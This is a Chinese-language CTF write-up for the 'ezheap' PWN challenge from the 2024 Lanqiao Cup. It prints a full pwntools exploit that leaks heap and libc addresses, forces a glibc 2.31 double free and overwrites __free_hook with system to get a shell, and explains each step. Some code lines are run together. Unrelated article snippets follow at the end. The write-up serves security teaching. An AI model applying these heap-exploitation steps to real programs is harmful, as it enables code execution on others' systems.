[蓝桥杯2024]-PWN:ezheap解析(堆glibc2.31,glibc2.31下的double free)

ops/2024/9/25 23:25:11/

查看保护

查看ida

大致就是只能创建0x60大小的堆块,并且uaf只能利用一次

完整exp:

from pwn import*
#context(log_level='debug')
p=process('./ezheap2.31')def alloc(content):p.sendlineafter(b'4.exit',b'1')p.send(content)
def free(index):p.sendlineafter(b'4.exit',b'2')p.sendline(str(index))
def show(index):p.sendlineafter(b'4.exit',b'3')p.sendline(str(index))
def uaffree(index):p.sendlineafter(b'4.exit',b'2106373')p.sendline(str(index))for i in range(3):alloc(b'a')
for i in range(2,0,-1):free(i)
alloc(b'a')
show(1)
p.recvuntil(b'a')
heapbase=(u64(p.recv(5).ljust(8,b'\x00'))<<8)-0x300
print(hex(heapbase))
alloc(b'a')
for i in range(10):alloc(b'a')
for i in range(7,0,-1):free(i)
uaffree(0)
payload=b'\x00'*0x18+p64(0x61)
alloc(payload)
free(0)
payload=p64(heapbase+0x290+0x10+0x10)
alloc(payload)
for i in range(7):payload=b'\x00'*0x18+p64(0x61)alloc(payload)
payload=b'\x00'*0x38+p64(0x60*11+1)
alloc(payload)
free(1)
alloc(b'a')
show(1)
onelibc=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(onelibc))
libc_start_main243=onelibc-0x61-0x1c8e7d
libc_start_main=libc_start_main243-243
libc=ELF('/home/pwn/libc.so.6')
libcbase=libc_start_main-libc.sym['__libc_start_main']
system=libcbase+libc.sym['system']
freehook=libcbase+libc.sym['__free_hook']
print(hex(system))
free(10)
free(1)
free(14)
payload=b'\x00'*0x38+p64(0x61)+p64(freehook)
alloc(payload)
payload=b'/bin/sh\x00'
alloc(payload)
payload=p64(system)
alloc(payload)
free(10)
p.interactive()

这里分为以下几个部分来讲

获取heap基地址:

for i in range(3):alloc(b'a')
for i in range(2,0,-1):free(i)
alloc(b'a')
show(1)
p.recvuntil(b'a')
heapbase=(u64(p.recv(5).ljust(8,b'\x00'))<<8)-0x300

在此版本中释放两个堆块后,在tcachebin中后一个堆块的fd会指向前一个堆块的fd,也就是存储前一个堆块的fd地址,而malloc不会清空内存,就可以泄露出heap地址了。

实现前提:

申请堆块不会清空内存

泄露libc地址:

alloc(b'a')
for i in range(10):alloc(b'a')
for i in range(7,0,-1):free(i)
uaffree(0)
payload=b'\x00'*0x18+p64(0x61)
alloc(payload)
free(0)
payload=p64(heapbase+0x290+0x10+0x10)
alloc(payload)
for i in range(7):payload=b'\x00'*0x18+p64(0x61)alloc(payload)
payload=b'\x00'*0x38+p64(0x60*11+1)
alloc(payload)
free(1)
alloc(b'a')
show(1)
onelibc=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(onelibc))
libc_start_main243=onelibc-0x61-0x1c8e7d
libc_start_main=libc_start_main243-243
libc=ELF('/home/pwn/libc.so.6')
libcbase=libc_start_main-libc.sym['__libc_start_main']
system=libcbase+libc.sym['system']
freehook=libcbase+libc.sym['__free_hook']
print(hex(system))

这里要运用uaf的原因是因为程序会通过检测堆数组里是否有所释放堆块的地址。这里用到了double free,这个版本下的tcachebin已经没有办法像glibc2.27那样直接free同一个堆块两次了,只能用将同一个堆块放入tcachebin和fastbin,因为2.31是通过检查堆块是否在tcachebin中来防范double free的,通过这种方法可以实现2.31下的double free。而用完double free之后在一个堆块的中间又创建一个堆块来方便修改下一个堆块的size和fd是因为我们要利用任意地址创建堆块两次。

题目要求:

地址在堆块数组中的堆块才能free

实现前提:

uaf漏洞

getshell:

free(10)
free(1)
free(14)
payload=b'\x00'*0x38+p64(0x61)+p64(freehook)
alloc(payload)
payload=b'/bin/sh\x00'
alloc(payload)
payload=p64(system)
alloc(payload)
free(10)

操作前提:

有一个可以修改另一个堆块的fd的堆块

#补充点:题目的接收好像有点问题,exp多试几次才能出。


http://www.ppmy.cn/ops/35729.html

相关文章

太速科技-FMC377_双AD9361 射频收发模块

FMC377_双AD9361 射频收发模块 FEATURES&#xff1a; ◆ Coverage from 70M ~ 6GHz RF ◆ Flexible rate 12 bit ADC/DAC ◆ Fully-coherent 4x4 MIMO capability, TDD/FDD ◆ RF ports: 50Ω Matched ◆ support both internal reference and exter…

Linux 基础IO篇

1. C语言中的文件操作 1 #include<stdio.h>2 3 int main()4 {5 FILE* pf fopen("log.txt", "w");6 if(NULL pf)7 {8 perror("fopen");9 return 1; 10 }11 fprintf(pf, &quo…

Android14音频进阶之AAOS关键服务CarAudioManager与CarAudioService(七十)

简介: CSDN博客专家,专注Android/Linux系统,分享多mic语音方案、音视频、编解码等技术,与大家一起成长! 优质专栏:Audio工程师进阶系列【原创干货持续更新中……】🚀 优质专栏:多媒体系统工程师系列【原创干货持续更新中……】🚀 优质视频课程:AAOS车载系统+AOSP…

k8s集群统一设置时间

1 安装时间同步需要软件 yum install -y ntpdate2 设置时间 2.1 手动设置时间 date -s "20190712 18:30:50" hwclock --systohc2.2 在线更新时间 ntpdate 0.asia.pool.ntp.org # 强制把系统时间写入CMOS clock -w3 强制把系统时间写入CMOS hwclock作用与clock相…

正则表达式技巧篇

1、遇到需要获取一个字符串中的中文字符正则表达式 一般逻辑是使用 using System; using System.Text.RegularExpressions; class Program { static void Main() { string input "Hello 你好 World! 123 不包含中文的部分456 你好吗&#xff1f;"; strin…

在spring中使用bytebuddy 对bean做Aop拦截

背景 拦截spring 中的某个bean拦截其方法的调用。在其前后做一些类似于aop的操作 拦截bean MyBeanDefinitionRegistryPostProcessor import lombok.extern.slf4j.Slf4j; import net.bytebuddy.ByteBuddy; import net.bytebuddy.asm.Advice; import org.springframework.bea…

亏了亏了!双向孟德尔随机化阴性结果居然发了SCI二区(IF=6.7)

‍ 今天为诸位介绍的这篇文章是一项双向孟德尔随机化研究&#xff08;MR&#xff09;&#xff0c;惊讶的是&#xff0c;双向因果均为阴性结果发了SCI二区&#xff01;我们一起来看看&#xff01; 2024年4月17日&#xff0c;广东医科大学附属医院的学者做了一项双向两样本孟德尔…

Java_JVM_JVMs

JVM 官方文档说明文档目录 官方文档 JVM Specification 说明 以Java SE 17为标准 文档目录 2&#xff1a;JVM 结构 class文件数据类型 基本数据类型引用数据类型 运行时数据区 栈帧 其他内容 对象的表示浮点数运算特殊方法 初始化方法【实例、类】多态方法 3&#xff…